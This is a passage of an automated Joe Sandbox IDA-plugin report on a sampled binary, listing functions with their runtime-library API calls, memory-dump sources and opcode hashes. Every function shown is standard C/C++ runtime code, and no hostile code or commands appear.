__EH_prolog3.LIBCMT ref: 00DB53B8
std::_Lockit::_Lockit.LIBCPMT ref: 00DB53C2
int.LIBCPMT ref: 00DB53D9

Part of subcall function 00DB16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DB16C5
Part of subcall function 00DB16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DB16DF

std::_Facet_Register.LIBCPMT ref: 00DB5413
std::_Lockit::~_Lockit.LIBCPMT ref: 00DB5433
Concurrency::cancel_current_task.LIBCPMT ref: 00DB5440

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 963444f28ed2c22a83613f8d41a26626519ed98733bc3aeea36be64b59354ccc
Instruction ID: cf9847bcccee6784dd193e308418e5795cad4f220040c82adcae8024fdcf14f2
Opcode Fuzzy Hash: 963444f28ed2c22a83613f8d41a26626519ed98733bc3aeea36be64b59354ccc
Instruction Fuzzy Hash: A211AF79910619DBCB15EB64D806BEEB7F5EF84321F54050AE842A7395DFB0AA00CBB1

Function 00DBA25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DBA251,00DB8978,00DB7AFF), ref: 00DBA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DBA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DBA28F
SetLastError.KERNEL32(00000000,00DBA251,00DB8978,00DB7AFF), ref: 00DBA2E1

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ae71e83a506bf0f858bc6c48628654b15e2bfa697469cfcb2064ad4cf8a59160
Instruction ID: 0eb5c7006d8294a33ebbee57788b78db30e5624c55c1b3c1a4d2284a0e9acf49
Opcode Fuzzy Hash: ae71e83a506bf0f858bc6c48628654b15e2bfa697469cfcb2064ad4cf8a59160
Instruction Fuzzy Hash: A301D83214E311EEAA24277C7C866FA3746EB42774B24432BF112811E1EF525C02517A

Function 00E05013 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00E04F6A

Part of subcall function 00DFAD98: __mtinitlocknum.LIBCMT ref: 00DFADAE
Part of subcall function 00DFAD98: __amsg_exit.LIBCMT ref: 00DFADBA

_free.LIBCMT ref: 00E04F91
__lock.LIBCMT ref: 00E04FAA
___removelocaleref.LIBCMT ref: 00E04FB9
___freetlocinfo.LIBCMT ref: 00E04FD2
_free.LIBCMT ref: 00E04FEF

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: ea7ce77e31b3f7d8e0d2d0418bb568a4f25cd6cb92cdbed38c33d881490c5e64
Instruction ID: 8c102786345c5bea4bf23b1e61e6df547bbd6aa8128d8ec2e6a234bb31db9782
Opcode Fuzzy Hash: ea7ce77e31b3f7d8e0d2d0418bb568a4f25cd6cb92cdbed38c33d881490c5e64
Instruction Fuzzy Hash: 0A11CEF160030AAADB20BF689A0672D73E49F00714F21B51AF298BB1D0DB34D9C08A76

Function 00DC0F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B5B4AF43,?,?,00000000,00DD1FC8,000000FF,?,00DC0EE0,00DC1010,?,00DC0EB4,00000000), ref: 00DC0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DC0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DD1FC8,000000FF,?,00DC0EE0,00DC1010,?,00DC0EB4,00000000), ref: 00DC0FB9

Strings

CorExitProcess, xrefs: 00DC0F8F
mscoree.dll, xrefs: 00DC0F7E

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cf1a4307445a5b7d52a6200d9b5d8530e6c0e5ba680fffc1e761de5864f89dcd
Instruction ID: 7858972e8bb10b3bd91e739353319f2b075aa0f6d322f39be9ebc93f97408dd4
Opcode Fuzzy Hash: cf1a4307445a5b7d52a6200d9b5d8530e6c0e5ba680fffc1e761de5864f89dcd
Instruction Fuzzy Hash: 63014F36944726EFDB219F50DC09FBEBBB8FB44B14F04452AE811E2390DB749904CAB0

Function 00DF1BE0 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DF1C67
_memset.LIBCMT ref: 00DF1C78
_memset.LIBCMT ref: 00DF1D40
_memset.LIBCMT ref: 00DF1DAC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DF1ECE

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: 573c43b678cf46433a9d52bda08d28013d17d570466941bc540ea4b34d10235b
Instruction ID: 33faf680e951dabf97a21c722dac14b30bc00d2003d86ef66052e8d2c06beeef
Opcode Fuzzy Hash: 573c43b678cf46433a9d52bda08d28013d17d570466941bc540ea4b34d10235b
Instruction Fuzzy Hash: 19C11972D0021AABCF21EB64DC45AED77BDEF08304F5581A2FA09B2151DB35AF848F65

Function 00E01B7F Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00E01B93
__init_pointers.LIBCMT ref: 00E01C45
__calloc_crt.LIBCMT ref: 00E01CB3
__initptd.LIBCMT ref: 00E01CD8

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: 7a564709ad00560bd9d8fdbd701ed2ecb4aa1347a6a992db256615f12604ae46
Instruction ID: b7cf8f95c0da798d1c338b85969bbd30b93aeb8968f0b62e114056b5933f0647
Opcode Fuzzy Hash: 7a564709ad00560bd9d8fdbd701ed2ecb4aa1347a6a992db256615f12604ae46
Instruction Fuzzy Hash: AD31AB31C48394DBDB24AF74AC08A063FA0EF44721B10223AE804E75B2EB75D880CF58

Function 00DFCA8A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00DFCAD3
DName::operator+.LIBCMT ref: 00DFCADA
DName::DName.LIBCMT ref: 00DFCAFC
DName::operator+.LIBCMT ref: 00DFCB03
DName::operator+.LIBCMT ref: 00DFCB0A

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 07d7777d52dff5e113e7891794bf6f50c10d3f38d43dc9179de300c9a186e5fe
Instruction ID: a00017d1e7d4027ddb6e08ccc41b30712ca80e8a149e0c214b60bc5fb9968b2c
Opcode Fuzzy Hash: 07d7777d52dff5e113e7891794bf6f50c10d3f38d43dc9179de300c9a186e5fe
Instruction Fuzzy Hash: 6001C43061020CEFCF04EBA4D946EFD7BB5EF44704F01A055FA029B296DA70E951CBA4

Function 00DB4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DB4442
int.LIBCPMT ref: 00DB4455

Part of subcall function 00DB16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DB16C5
Part of subcall function 00DB16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DB16DF

std::_Facet_Register.LIBCPMT ref: 00DB4488
std::_Lockit::~_Lockit.LIBCPMT ref: 00DB449E
Concurrency::cancel_current_task.LIBCPMT ref: 00DB44A9

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: ac842d2f06c22766ad2631b891d09351e7f80b9352fa43052bf334fa87d4542b
Instruction ID: 40444b556e08757523134a2e10d92a7f4378f01477fd663c41ee85d1ae26d744
Opcode Fuzzy Hash: ac842d2f06c22766ad2631b891d09351e7f80b9352fa43052bf334fa87d4542b
Instruction Fuzzy Hash: D701A27A900118FBCB15EB64E8569ED7B78EF80760B240159F807A7292EF709E42C7B0

Function 00DB3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DB3DBD
int.LIBCPMT ref: 00DB3DD0

Part of subcall function 00DB16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DB16C5
Part of subcall function 00DB16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DB16DF

std::_Facet_Register.LIBCPMT ref: 00DB3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00DB3E19
Concurrency::cancel_current_task.LIBCPMT ref: 00DB3E24

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 76f25b2aeb74204405cf3b7b0c02230ced9a1c2b664f8294bd4a820dba172d0d
Instruction ID: 0b282360c9d927b113ee456e24fce35e08c03154710a073ed92545fe31772804
Opcode Fuzzy Hash: 76f25b2aeb74204405cf3b7b0c02230ced9a1c2b664f8294bd4a820dba172d0d
Instruction Fuzzy Hash: 83014476900514FBCB25EB54E8599EE7BB8DF80760B540259F807A7291DF30DE01DBB0

Function 00DB4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DB4315
int.LIBCPMT ref: 00DB4328

Part of subcall function 00DB16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DB16C5
Part of subcall function 00DB16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DB16DF

std::_Facet_Register.LIBCPMT ref: 00DB435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00DB4371
Concurrency::cancel_current_task.LIBCPMT ref: 00DB437C

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 713ce286bb77f81acf390717169b1f59ff0baa4eb964b670c6d2d663213d26ce
Instruction ID: 5e38413de91f3e8d85db3fe214b577747da2d8eaceed11864976de6746f05cbd
Opcode Fuzzy Hash: 713ce286bb77f81acf390717169b1f59ff0baa4eb964b670c6d2d663213d26ce
Instruction Fuzzy Hash: BB014436901518EBCB15EB64E9169DD7BA4DF90760B180155E80767292DF30DE06C7F0

Function 00DB507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DB5081
std::_Lockit::_Lockit.LIBCPMT ref: 00DB508C
std::locale::_Setgloballocale.LIBCPMT ref: 00DB50A7
_Yarn.LIBCPMT ref: 00DB50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 00DB50FA

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: ca9536fd4bcd977aed2bfa406c1772a2766b0d822265c02847d953b86d433e21
Instruction ID: 15333d0d6100e7341c400e8d3699c87c111a171ff63d4012370fccc7bd63e142
Opcode Fuzzy Hash: ca9536fd4bcd977aed2bfa406c1772a2766b0d822265c02847d953b86d433e21
Instruction Fuzzy Hash: B0018F75A01755DFD70AEB20E856ABC7B61FF84380B19400AE81257382CF34AE06CBF6

Function 00E0501E Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E0502A

Part of subcall function 00E019BC: __getptd_noexit.LIBCMT ref: 00E019BF
Part of subcall function 00E019BC: __amsg_exit.LIBCMT ref: 00E019CC

__calloc_crt.LIBCMT ref: 00E05035
__lock.LIBCMT ref: 00E0506B
___addlocaleref.LIBCMT ref: 00E05077
__lock.LIBCMT ref: 00E0508B

Part of subcall function 00E00B5C: __getptd_noexit.LIBCMT ref: 00E00B5C

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: b668459250dba2172e2c4039f6cfa7733fed99fad082a545e312b10aae0848bc
Instruction ID: 72d6d44dc75eac8cfa65ae2d94b029b9c7e1279d7b71cadaced73624f2b31997
Opcode Fuzzy Hash: b668459250dba2172e2c4039f6cfa7733fed99fad082a545e312b10aae0848bc
Instruction Fuzzy Hash: 25018472541705EAEB21BBB8990375D77E0EF04720F209649F558BB2D2CB7459808FA6

Function 00E03781 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E0378D

Part of subcall function 00E019BC: __getptd_noexit.LIBCMT ref: 00E019BF
Part of subcall function 00E019BC: __amsg_exit.LIBCMT ref: 00E019CC

__getptd.LIBCMT ref: 00E037A4
__amsg_exit.LIBCMT ref: 00E037B2
__lock.LIBCMT ref: 00E037C2
__updatetlocinfoEx_nolock.LIBCMT ref: 00E037D6

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction ID: 3cdd2057762330d13fccc5a6f18df533d4c8ec852de2a69bb9d779701fcffd3d
Opcode Fuzzy Hash: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction Fuzzy Hash: 9AF0BBF2940714EBD721BB78980375E73D4AF04725F15614FF554BB2D2CB245A80CAAA

Function 00DBB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DBB353,00000000,?,00E3ECCC,?,?,?,00DBB4F6,00000004,InitializeCriticalSectionEx,00DD4BD8,InitializeCriticalSectionEx), ref: 00DBB3AF
GetLastError.KERNEL32(?,00DBB353,00000000,?,00E3ECCC,?,?,?,00DBB4F6,00000004,InitializeCriticalSectionEx,00DD4BD8,InitializeCriticalSectionEx,00000000,?,00DBB2AD), ref: 00DBB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DBB3E1

Strings

api-ms-, xrefs: 00DBB3C6

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a2c296f633dbea98f48ec95c7b010f0a7478be7df3ff85d11912872607155e18
Instruction ID: 42125cd1631e6890dfe808894abc581f4c9c9332fc3ef8f6744eb24bc2e85c11
Opcode Fuzzy Hash: a2c296f633dbea98f48ec95c7b010f0a7478be7df3ff85d11912872607155e18
Instruction Fuzzy Hash: 72E01230244304F7EA111F71EC46B693B549B00B51F544023FA0DE42E1D7B1995086B5

Function 00DC7747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B5B4AF43,00000000,00000000,00000000), ref: 00DC77AA

Part of subcall function 00DC952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00DC8FD3,?,00000000,-00000008), ref: 00DC95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DC7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DC7A4D
GetLastError.KERNEL32 ref: 00DC7AF0

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8973b746090e909e578e6e28e59acdb0046e1e5f7088b48a284bb9597fa4171d
Instruction ID: e4710487717a14104c9c34340cb806b977a5efb682abb793cf2fccef63764847
Opcode Fuzzy Hash: 8973b746090e909e578e6e28e59acdb0046e1e5f7088b48a284bb9597fa4171d
Instruction Fuzzy Hash: 59D15775D04249AFCB15CFA8D884AADBBB5FF49310F28412AE85AE7351D730A941CF60

Function 00DEB033 Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DEB064
_memset.LIBCMT ref: 00DEB084
_memset.LIBCMT ref: 00DEB095
_memset.LIBCMT ref: 00DEB0A6

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

